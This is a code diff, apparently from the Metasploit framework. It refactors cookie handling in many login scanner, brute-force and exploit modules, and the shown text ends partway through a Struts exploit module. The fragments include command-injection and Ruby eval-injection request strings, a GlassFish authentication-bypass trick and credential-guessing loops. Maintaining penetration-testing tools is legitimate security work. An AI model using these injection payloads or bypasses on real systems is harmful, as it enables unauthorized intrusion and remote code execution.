db_namespace = namespace :db do
task :load_config do
ActiveRecord::Base.configurations = Metasploit::Framework::Database.configurations
ActiveRecord::Migrator.migrations_paths = [
# rails isn't in Gemfile, so can't use the more appropriate
# Metasploit::Engine.instance.paths['db/migrate'].to_a since using
# Metasploit::Engine requires rails.
MetasploitDataModels.root.join('db', 'migrate').to_s
]
end
desc 'Load the seed data from db/seeds.rb'
task :seed do
db_namespace['abort_if_pending_migrations'].invoke
seeds_pathname = Metasploit::Framework.root.join('db', 'seeds.rb')
if seeds_pathname.exist?
load(seeds_pathname)
end
end
end

7
lib/tasks/databases.rake Normal file
View File

@ -0,0 +1,7 @@
namespace :db do
# Add onto the task so that after adding Rails.application.paths['db/migrate']
task :load_config do
# It's important to call to_a or the paths will just be relative and not realpaths
ActiveRecord::Migrator.migrations_paths += Metasploit::Credential::Engine.instance.paths['db/migrate'].to_a
end
end

View File

@ -1,21 +0,0 @@
# Rake tasks added for compatibility with rake tasks that depend on a Rails
# environment, such as those in activerecord
# Would normally load config/environment.rb of the rails application.
#
# @see https://github.com/rails/rails/blob/e2908356672d4459ada0064f773efd820efda822/railties/lib/rails/application.rb#L190
task :environment do
# ensures that Mdm models are available for migrations which use the models
MetasploitDataModels.require_models
# avoids the need for Rails.root in db:schema:dump
schema_pathname = Metasploit::Framework.root.join('db', 'schema.rb')
ENV['SCHEMA'] = schema_pathname.to_s
end
# This would normally default RAILS_ENV to development if ENV['RAILS_ENV'] is
# not set
#
# @see https://github.com/rails/rails/blob/1a275730b290c1f06d4e8df680d22ae1b41ab585/railties/lib/rails/tasks/misc.rake#L3
task :rails_env do
end

View File

@ -130,7 +130,8 @@ class Metasploit3 < Msf::Auxiliary
}, 25)
if res and res.code == 200
if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/(.*); path=\//))
cookies = res.get_cookies
if cookies && cookies.match(/(.*); path=\//)
cookie= $1
print_status("Got cookie #{cookie}. Password reset was successful!\n")
end

View File

@ -167,7 +167,7 @@ class Metasploit3 < Msf::Auxiliary
if res and res.code == 303 and res.headers['Location'] =~ /_h=([a-f0-9]*)/
@token = $1
if res.headers['Set-Cookie'] =~ /_hadmin=([a-f0-9]*)/
if res.get_cookies =~ /_hadmin=([a-f0-9]*)/
@session = $1
return true
end

View File

@ -113,7 +113,7 @@ class Metasploit4 < Msf::Auxiliary
print_error($1)
return
else
session = $1 if res.headers['Set-Cookie'] =~ /_vmdb_session=(\h*)/
session = $1 if res.get_cookies =~ /_vmdb_session=(\h*)/
if session.nil?
print_error('Failed to retrieve the current session id')

View File

@ -67,7 +67,7 @@ class Metasploit4 < Msf::Auxiliary
print_error('Authentication failed')
return
else
session = $1 if res.headers['Set-Cookie'] =~ /_session_id=([0-9a-f]*)/
session = $1 if res.get_cookies =~ /_session_id=([0-9a-f]*)/
if session.nil?
print_error('Failed to retrieve the current session id')

View File

@ -139,7 +139,7 @@ class Metasploit3 < Msf::Auxiliary
'method' => 'GET'
})
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/
first_session = $1
end
@ -165,7 +165,7 @@ class Metasploit3 < Msf::Auxiliary
'cookie' => "JSESSIONID=#{first_session}"
})
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/
@session = $1
return true
end

View File

@ -73,9 +73,9 @@ class Metasploit3 < Msf::Auxiliary
'uri' => '/admin/',
}, 25)
if (res and res.code == 200)
if res && res.code == 200
if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/JSESSIONID=(.*);(.*)/i))
if res.get_cookies.match(/JSESSIONID=(.*);(.*)/i)
jsessionid = $1

View File

@ -49,9 +49,7 @@ class Metasploit3 < Msf::Auxiliary
'method' => 'POST',
}, 5)
if (res and res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i))
sessionid = res.headers['Set-Cookie'].split(';')[0]
if res && res.get_cookies.match(/PHPSESSID=(.*);(.*)/i)
print_status("Sending command: #{datastore['CMD']}...")
@ -59,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary
{
'uri' => '/property_box.php',
'data' => 'type=Sections&vollist=75' + Rex::Text.uri_encode("&" + cmd),
'cookie' => sessionid,
'cookie' => res.get_cookies,
'method' => 'POST',
}, 5)

View File

@ -46,9 +46,7 @@ class Metasploit3 < Msf::Auxiliary
'method' => 'POST',
}, 5)
if (res and res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i))
sessionid = res.headers['Set-Cookie'].split(';')[0]
if res && res.get_cookies.match(/PHPSESSID=(.*);(.*)/i)
print_status("Sending command: #{datastore['CMD']}...")
@ -56,7 +54,7 @@ class Metasploit3 < Msf::Auxiliary
{
'uri' => '/property_box.php',
'data' => 'type=Job&jlist=' + Rex::Text.uri_encode('&' + cmd),
'cookie' => sessionid,
'cookie' => res.get_cookies,
'method' => 'POST',
}, 5)

View File

@ -68,8 +68,8 @@ class Metasploit3 < Msf::Auxiliary
'data' => data
}, 25)
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || ''
if res and res.code == 302 and res.get_cookies =~ /sid/
session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
if session and not session.empty?
print_good "#{peer} - Authentication successful"
else

View File

@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]),
OptString.new('FUZZCMDS', [ true, "Comma separated list of commands to fuzz.", "LIST,NLST,LS,RETR" ]),
OptString.new('FUZZCMDS', [ true, "Comma separated list of commands to fuzz (Uppercase).", "LIST,NLST,LS,RETR", nil, /(?:[A-Z]+,?)+/ ]),
OptInt.new('STARTSIZE', [ true, "Fuzzing string startsize.",1000]),
OptInt.new('ENDSIZE', [ true, "Max Fuzzing string size.",200000]),
OptInt.new('STEPSIZE', [ true, "Increment fuzzing string each attempt.",1000]),

View File

@ -455,21 +455,23 @@ class Metasploit3 < Msf::Auxiliary
formidx = formidx + 1
formcnt += 1
end
if forms.size > 0
print_status(" Forms : ")
end
forms.each do | thisform |
print_status(" - Name : #{thisform[:name]}, ID : #{thisform[:id]}, Action : #{thisform[:action]}, Method : #{thisform[:method]}")
end
return forms
end
def extract_cookie(body)
return body["Set-Cookie"]
end
def set_cookie(cookie)
@get_data_headers["Cookie"]=cookie
@send_data[:headers]["Cookie"]=cookie
end
def run
init_fuzzdata()
init_vars()
@ -487,10 +489,11 @@ class Metasploit3 < Msf::Auxiliary
print_error("No response")
return
end
if datastore['HANDLECOOKIES']
cookie = extract_cookie(response.headers)
cookie = response.get_cookies
set_cookie(cookie)
print_status("Set cookie:#{cookie}")
print_status("Set cookie: #{cookie}")
print_status("Grabbing webpage #{datastore['URL']} from #{datastore['RHOST']} using cookies")
response = send_request_raw(

View File

@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary
}
})
if res and res.code == 302 and res.headers['Location'] !~ /authfail/ and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
if res and res.code == 302 and res.headers['Location'] !~ /authfail/ and res.get_cookies =~ /JSESSIONID=(.*);/
return $1
else
return nil

View File

@ -128,7 +128,7 @@ class Metasploit3 < Msf::Auxiliary
})
if !res
print_error("#{peer} - Connection failed")
elsif res.code == 200 and res.headers["set-cookie"] =~ /DOLSESSID_([a-f0-9]{32})=/
elsif res.code == 200 and res.get_cookies =~ /DOLSESSID_([a-f0-9]{32})=/
return "DOLSESSID_#{$1}=#{token}"
else
print_warning("#{peer} - Could not create session cookie")

View File

@ -80,7 +80,7 @@ class Metasploit3 < Msf::Auxiliary
if res &&
res.code == 200 &&
res.headers['Set-Cookie'].match(/webvpn/)
res.get_cookies.include?('webvpn')
return true
else

View File

@ -77,15 +77,15 @@ class Metasploit3 < Msf::Auxiliary
'method' => 'GET'
})
if (res and res.headers['Set-Cookie'])
if res && res.get_cookies
cookie = res.headers['Set-Cookie'].split('; ')[0]
cookie = res.get_cookies
res = send_request_cgi(
{
'uri' => "/help/wwhelp/wwhimpl/common/html/default.htm",
'method' => 'GET',
'cookie' => '#{cookie}'
'cookie' => cookie
})
if (res and res.code == 200 and res.body.include?('Cisco IronPort AsyncOS'))
@ -135,7 +135,7 @@ class Metasploit3 < Msf::Auxiliary
}
})
if (res and res.headers['Set-Cookie'].include?('authenticated='))
if res and res.get_cookies.include?('authenticated=')
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
report_hash = {

View File

@ -42,10 +42,10 @@ class Metasploit3 < Msf::Auxiliary
'uri' => normalize_uri(@uri.path)
})
return [nil, nil] if not (res and res.headers['Set-Cookie'])
return [nil, nil] if res.nil? || res.get_cookies.empty?
# Get the session ID from the cookie
m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/)
m = get_cookies.match(/(DOLSESSID_.+);/)
id = (m.nil?) ? nil : m[1]
# Get the token from the decompressed HTTP body response

View File

@ -167,7 +167,7 @@ class Metasploit3 < Msf::Auxiliary
print_status("Trying credential GlassFish 2.x #{user}:'#{pass}'....")
res = try_login(user,pass)
if res and res.code == 302
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
session = $1 if res && res.get_cookies =~ /JSESSIONID=(.*); /i
res = send_request('/applications/upload.jsf', 'GET', session)
p = /<title>Deploy Enterprise Applications\/Modules/
@ -180,7 +180,7 @@ class Metasploit3 < Msf::Auxiliary
print_status("Trying credential GlassFish 3.x #{user}:'#{pass}'....")
res = try_login(user,pass)
if res and res.code == 302
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
session = $1 if res && res.get_cookies =~ /JSESSIONID=(.*); /i
res = send_request('/common/applications/uploadFrame.jsf', 'GET', session)
p = /<title>Deploy Applications or Modules/

View File

@ -64,7 +64,7 @@ class Metasploit4 < Msf::Auxiliary
}
})
if res and res.code == 200 and res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /([^\s]*session)=([a-z0-9]+)/
if res && res.code == 200 && res.get_cookies =~ /([^\s]*session)=([a-z0-9]+)/
return $1,$2
else
return nil
@ -134,8 +134,8 @@ class Metasploit4 < Msf::Auxiliary
'cookie' => session_cookie
})
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /UserID=/
parse_auth_cookie(res.headers['Set-Cookie'])
if res and res.code == 302 and res.get_cookies.include?('UserID=')
parse_auth_cookie(res.get_cookies)
return true
else
return false

View File

@ -200,7 +200,7 @@ class Metasploit3 < Msf::Auxiliary
return :abort
end
if action.name != "OWA_2013" and not res.headers['set-cookie']
if action.name != "OWA_2013" and res.get_cookies.empty?
print_error("#{msg} Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting")
return :abort
end
@ -233,8 +233,9 @@ class Metasploit3 < Msf::Auxiliary
end
else
# these two lines are the authentication info
sessionid = 'sessionid=' << res.headers['set-cookie'].split('sessionid=')[1].split('; ')[0]
cadata = 'cadata=' << res.headers['set-cookie'].split('cadata=')[1].split('; ')[0]
cookies = res.get_cookies
sessionid = 'sessionid=' << cookies.split('sessionid=')[1].split('; ')[0]
cadata = 'cadata=' << cookies.split('cadata=')[1].split('; ')[0]
headers['Cookie'] = 'PBack=0; ' << sessionid << '; ' << cadata
end

View File

@ -82,7 +82,7 @@ class Metasploit3 < Msf::Auxiliary
'authorization' => basic_auth(user,pass)
})
if (res and res.headers['Set-Cookie'])
if res and !res.get_cookies.empty?
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
report_hash = {

View File

@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary
'method' => 'GET'
})
if (res and res.code.to_i == 200 and res.headers['Set-Cookie'].include?('SEVONE'))
if (res and res.code.to_i == 200 and res.get_cookies.include?('SEVONE'))
version_key = /Version: <strong>(.+)<\/strong>/
version = res.body.scan(version_key).flatten
print_good("#{rhost}:#{rport} - Application confirmed to be SevOne Network Performance Management System version #{version}")

View File

@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary
}
})
if res and res.code == 200 and res.body.to_s =~ /self.location="\.\.\/cgi\/url_redirect\.cgi/ and res.headers["Set-Cookie"].to_s =~ /(SID=[a-z]+)/
if res and res.code == 200 and res.body.to_s =~ /self.location="\.\.\/cgi\/url_redirect\.cgi/ and res.get_cookies =~ /(SID=[a-z]+)/
return $1
else
return nil

View File

@ -82,8 +82,8 @@ class Metasploit3 < Msf::Auxiliary
session_id = ''
cval = ''
if res and res.code == 200 and res.headers['Set-Cookie']
res.headers['Set-Cookie'].split(';').each {|c|
if res and res.code == 200 and !res.get_cookies.empty?
res.get_cookies.split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /cval/
cval = v.split('=')[1]

View File

@ -86,8 +86,8 @@ class Metasploit3 < Msf::Auxiliary
last_login = '' #A hidden field in the login page
res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'})
if res and res.headers['Set-Cookie']
sid = res.headers['Set-Cookie'].scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
if res and !res.get_cookies.empty?
sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
end
if res

View File

@ -102,7 +102,7 @@ class Metasploit3 < Msf::Auxiliary
'data' => post_data,
}, 20)
if res and res.code == 200 and res.headers['Set-Cookie']
if res and res.code == 200 and !res.get_cookies.empty?
vprint_error("#{target_url} - Apache Tomcat #{user} not found ")
elsif res and res.code == 200 and res.body =~ /invalid username/i
vprint_error("#{target_url} - Apache Tomcat #{user} not found ")

View File

@ -43,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary
})
# Get the PHP session ID
m = res.headers['Set-Cookie'].match(/(PHPSESSID=.+);/)
m = res.get_cookies.match(/(PHPSESSID=.+);/)
id = (m.nil?) ? nil : m[1]
return id

View File

@ -93,10 +93,10 @@ class Metasploit3 < Msf::Auxiliary
return
end
if (res and res.code == 302 )
if res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/DomAuthSessId=(.*);(.*)/i)
if res and res.code == 302
if res.get_cookies.match(/DomAuthSessId=(.*);(.*)/i)
cookie = "DomAuthSessId=#{$1}"
elsif res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/LtpaToken=(.*);(.*)/i)
elsif res.get_cookies.match(/LtpaToken=(.*);(.*)/i)
cookie = "LtpaToken=#{$1}"
else
print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized 302 response")

View File

@ -45,8 +45,8 @@ class Metasploit3 < Msf::Auxiliary
'data' => post_data,
}, 20)
if (res and res.code == 302 )
if res.headers['Set-Cookie'].match(/DomAuthSessId=(.*);(.*)/i)
if res and res.code == 302
if res.get_cookies.match(/DomAuthSessId=(.*);(.*)/i)
print_good("http://#{vhost}:#{rport} - Lotus Domino - SUCCESSFUL login for '#{user}' : '#{pass}'")
report_auth_info(
:host => rhost,

View File

@ -76,9 +76,9 @@ class Metasploit3 < Msf::Auxiliary
token = ''
uisession = ''
if res and res.code == 200 and res.headers['Set-Cookie']
if res and res.code == 200 and !res.get_cookies.empty?
# extract tokens from cookie
res.headers['Set-Cookie'].split(';').each {|c|
res.get_cookies.split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /token/
token = v.split('=')[1]

View File

@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary
'headers' => { 'Authorization' => "Basic #{@user_pass}"}
}, 25)
if res
@vim_cookie = res.headers['Set-Cookie']
@vim_cookie = res.get_cookies
if res.code== 200
res.body.scan(/<a href="([\w\/\?=&;%]+)">/) do |match|
link = match[0]
@ -88,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary
'headers' => { 'Authorization' => "Basic #{@user_pass}"}
}, 25)
if res
@vim_cookie = res.headers['Set-Cookie']
@vim_cookie = res.get_cookies
if res.code == 200
img = res.body
ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], img, name , "Screenshot of VM #{name}")

View File

@ -78,10 +78,10 @@ class Metasploit3 < Msf::Exploit::Remote
'uri' => @uri.path
})
return [nil, nil] if not (res and res.headers['Set-Cookie'])
return [nil, nil] if res.nil? || res.get_cookies.empty?
# Get the session ID from the cookie
m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/)
m = res.get_cookies.match(/(DOLSESSID_.+);/)
id = (m.nil?) ? nil : m[1]
# Get the token from the decompressed HTTP body response

View File

@ -67,7 +67,7 @@ class Metasploit4 < Msf::Exploit::Remote
if res.headers['Location'] =~ /users\/login$/
fail_with(Failure::NoAccess, 'Authentication failed')
else
session = $1 if res.headers['Set-Cookie'] =~ /_session_id=([0-9a-f]*)/
session = $1 if res.get_cookies =~ /_session_id=([0-9a-f]*)/
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the current session id') if session.nil?
end

View File

@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote
'josso_password' => datastore['PASSWORD']
}
})
if res and res.headers['Set-Cookie'] =~ /JOSSO_SESSIONID_josso=([A-F0-9]+)/
if res and res.get_cookies =~ /JOSSO_SESSIONID_josso=([A-F0-9]+)/
return $1
else
return nil

View File

@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote
'method' => 'GET'
})
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/
first_session = $1
end
@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote
'cookie' => "JSESSIONID=#{first_session}"
})
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/
@session = $1
return true
end

View File

@ -77,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote
'iptest' => "127.0.0.1" # In order to make things as fast as possible
}
})
if res and res.code == 200 and res.headers.include?('Set-Cookie') and res.headers['Set-Cookie'] =~ /SESSIONID/
if res and res.code == 200 and res.get_cookies.include?('SESSIONID')
return res.get_cookies
else
return nil

View File

@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
# response handling
if res and res.code == 302
if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/)
if res.get_cookies =~ /ac_ActiveCollab_sid_[a-zA-Z0-9]+=(.*); expires=/
acsession = $1
end
elsif res and res.body =~ /Failed to log you in/

View File

@ -283,7 +283,7 @@ class Metasploit3 < Msf::Exploit::Remote
# likely to change
success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
if res.get_cookies =~ /JSESSIONID=(.*);/
session = $1
end
end
@ -319,7 +319,7 @@ class Metasploit3 < Msf::Exploit::Remote
# likely to change
success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
if res.get_cookies =~ /JSESSIONID=(.*);/
session = $1
end
end

View File

@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Make sure the URI begins with a slash
uri = normalize_uri(datastore['URI'])
command = Rex::Text.uri_encode(payload.raw, 'hex-all')
command = Rex::Text.uri_encode(payload.raw, 'hex-noslashes')
command.gsub!("%20","%2520")
res = send_request_cgi({
'uri' => "/api"+ uri + "/log/graph/%60#{command}%60",

View File

@ -684,7 +684,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Trying #{type} credentials for GlassFish 2.x #{user}:'#{pass}'....")
res = try_login(user,pass)
if res and res.code == 302
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
session = $1 if res and res.get_cookies =~ /JSESSIONID=(.*); /i
res = send_request('/applications/upload.jsf', 'GET', session)
p = /<title>Deploy Enterprise Applications\/Modules/
@ -697,7 +697,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Trying #{type} credentials for GlassFish 3.x #{user}:'#{pass}'....")
res = try_login(user,pass)
if res and res.code == 302
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
session = $1 if res and res.get_cookies =~ /JSESSIONID=(.*); /i
res = send_request('/common/applications/uploadFrame.jsf', 'GET', session)
p = /<title>Deploy Applications or Modules/
@ -788,7 +788,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Glassfish edition: #{banner}")
#Get session
res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /
res.get_cookies =~ /JSESSIONID=(.*); /
session = $1
#Set HTTP verbs. lower-case is used to bypass auth on v3.0

View File

@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
if res.code == 200
vprint_error("#{peer} - Authentication failed")
return Exploit::CheckCode::Unknown
elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
elsif res.code == 301 and res.get_cookies =~ /sid([\da-f]+)=([\da-f]{32})/
vprint_good("#{peer} - Authenticated successfully")
return Exploit::CheckCode::Appears
end
@ -130,7 +130,7 @@ class Metasploit3 < Msf::Exploit::Remote
# login; get session id and token
print_status("#{peer} - Authenticating as user '#{user}'")
res = login(base, user, pass)
if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
if res and res.code == 301 and res.get_cookies =~ /sid([\da-f]+)=([\da-f]{32})/
token = "#{$1}"
sid = "#{$2}"
print_good("#{peer} - Authenticated successfully")

View File

@ -102,7 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote
'method' => 'POST'
)
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/
if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=([0-9A-F]*);/
session_id = $1
else
print_error("#{peer} - Retrieve of initial JSESSIONID failed")
@ -125,7 +125,7 @@ class Metasploit3 < Msf::Exploit::Remote
}
})
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/
if res and res.code == 302 and res.get_cookies =~ /JSESSIONID=([0-9A-F]*);/
session_id = $1
redirect = URI(res.headers['Location']).path
else

View File

@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote
# CpqElm-Login: success
if res.headers['CpqElm-Login'].to_s =~ /success/
cookie = res.headers['Set-Cookie'].scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || ''
cookie = res.get_cookies.scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || ''
end
cookie

View File

@ -161,7 +161,7 @@ class Metasploit3 < Msf::Exploit::Remote
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
fail_with(Failure::NoAccess, 'login failed')
end
sessionid = 'JSESSIONID' << res.headers['set-cookie'].split('JSESSIONID')[1].split('; ')[0]
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
@cookie = "#{sessionid}"
else
print_status('No authentication required, skipping login...')

View File

@ -193,7 +193,7 @@ class Metasploit3 < Msf::Exploit::Remote
}
})
if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.get_cookies =~ /JSESSIONID=(.*);/
print_good("#{peer} - Login successful")
session = $1
else

View File

@ -196,7 +196,7 @@ class Metasploit3 < Msf::Exploit::Remote
max.times { chars << rand(string.length)}
end
end
chars.uniq.sort.reverse.each{|index| string[index] = Rex::Text.uri_encode(string[index,1], "hex-all")}
chars.uniq.sort.reverse.each{|index| string[index] = Rex::Text.uri_encode(string[index,1], "hex-noslashes")}
string
end

View File

@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote
})
# If we don't get a cookie, bail!
if res and res.headers['Set-Cookie'] =~ /(PHPVolunteerManagent=\w+);*/
if res and res.get_cookies =~ /(PHPVolunteerManagent=\w+);*/
cookie = $1
vprint_status("#{peer} - Found cookie: #{cookie}")
else

View File

@ -79,12 +79,12 @@ class Metasploit3 < Msf::Exploit::Remote
'uri' => uri,
}, 3)
if (res.nil? or not res.headers['Set-Cookie'])
if res.nil? or res.get_cookies.empty?
print_error("Could not generate a valid session")
return
end
return res.headers['Set-Cookie']
return res.get_cookies
end
def cleanup

View File

@ -124,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote
}
})
cookie = (res and res.headers['Set-Cookie'] =~ /qdpm\=.+\;/) ? res.headers['Set-Cookie'] : ''
cookie = (res and res.get_cookies =~ /qdpm\=.+\;/) ? res.get_cookies : ''
return {} if cookie.empty?
cookie = cookie.to_s.scan(/(qdpm\=\w+)\;/).flatten[0]

View File

@ -233,8 +233,8 @@ class Metasploit3 < Msf::Exploit::Remote
'uri' => datastore['TARGETURI'] || "/",
'method' => datastore['HTTP_METHOD'],
}, 25)
if res && res.headers['Set-Cookie']
match = res.headers['Set-Cookie'].match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /)
if res && !res.get_cookies.empty?
match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /)
end
if match

View File

@ -86,8 +86,8 @@ class Metasploit3 < Msf::Exploit::Remote
}
})
if res and res.headers['Set-Cookie'] =~ /PHPSESSID/ and res.body !~ /\<i\>Access denied\!\<\/i\>/
return res.headers['Set-Cookie']
if res and res.get_cookies.include?('PHPSESSID') and res.body !~ /\<i\>Access denied\!\<\/i\>/
return res.get_cookies
else
return ''
end

View File

@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote
if (res and res.code == 302 and res.headers['Location'] =~ /main.php/)
print_status("Successfully logged in as #{user}:#{pass}")
if (res.headers['Set-Cookie'] =~ /SiTsessionID/) and res.headers['Set-Cookie'].split("SiTsessionID")[-1] =~ /=(.*);/
if (res.get_cookies =~ /SiTsessionID/) and res.get_cookies.split("SiTsessionID")[-1] =~ /=(.*);/
session = $1
print_status("Successfully retrieved cookie: #{session}")
return session

View File

@ -124,8 +124,8 @@ class Metasploit3 < Msf::Exploit::Remote
uid = ''
session_id_port =
session_id = ''
if res and res.code == 200 and res.headers['Set-Cookie']
res.headers['Set-Cookie'].split(';').each {|c|
if res and res.code == 200 and !res.get_cookies.empty?
res.get_cookies.split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /cval/
cval = v.split('=')[1]
@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote
else
session_id_port = ''
session_id = ''
res.headers['Set-Cookie'].split(';').each {|c|
res.get_cookies.split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]

View File

@ -202,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote
session_id_port =
session_id = ''
if res and res.code == 200
res.headers['Set-Cookie'].split(';').each {|c|
res.get_cookies.split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /cval/
cval = v.split('=')[1]
@ -236,7 +236,7 @@ class Metasploit3 < Msf::Exploit::Remote
else
session_id_port = ''
session_id = ''
res.headers['Set-Cookie'].split(';').each {|c|
res.get_cookies.split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]

View File

@ -51,7 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
command = Rex::Text.uri_encode(payload.raw, 'hex-all')
command = Rex::Text.uri_encode(payload.raw, 'hex-noslashes')
res = send_request_raw({
'uri' => normalize_uri(datastore['URI']) + "?search[send][]=eval&search[send][]=Kernel.fork%20do%60#{command}%60end",
'method' => 'GET',

View File

@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
command = Rex::Text.uri_encode(payload.raw, 'hex-all')
command = Rex::Text.uri_encode(payload.raw, 'hex-noslashes')
urlconfigdir = normalize_uri(datastore['URI']) + '/' + "api/orders.json?search[instance_eval]=Kernel.fork%20do%60#{command}%60end"
res = send_request_raw({

View File

@ -27,7 +27,8 @@ class Metasploit3 < Msf::Exploit::Remote
[
'Meder Kydyraliev', # Vulnerability Discovery and PoC
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
'mihi' #ARCH_JAVA support
'mihi', #ARCH_JAVA support
'Christian Mehlmauer' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
@ -66,75 +67,106 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
Opt::RPORT(8080),
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]),
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]),
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.','username']),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]),
OptString.new('GET_PARAMETERS', [ false, 'Additional GET Parameters to send. Please supply in the format "param1=a&param2=b". Do apply URL encoding to the parameters names and values if needed.', nil]),
OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!', nil])
], self.class)
end
def execute_command(cmd, opts = {})
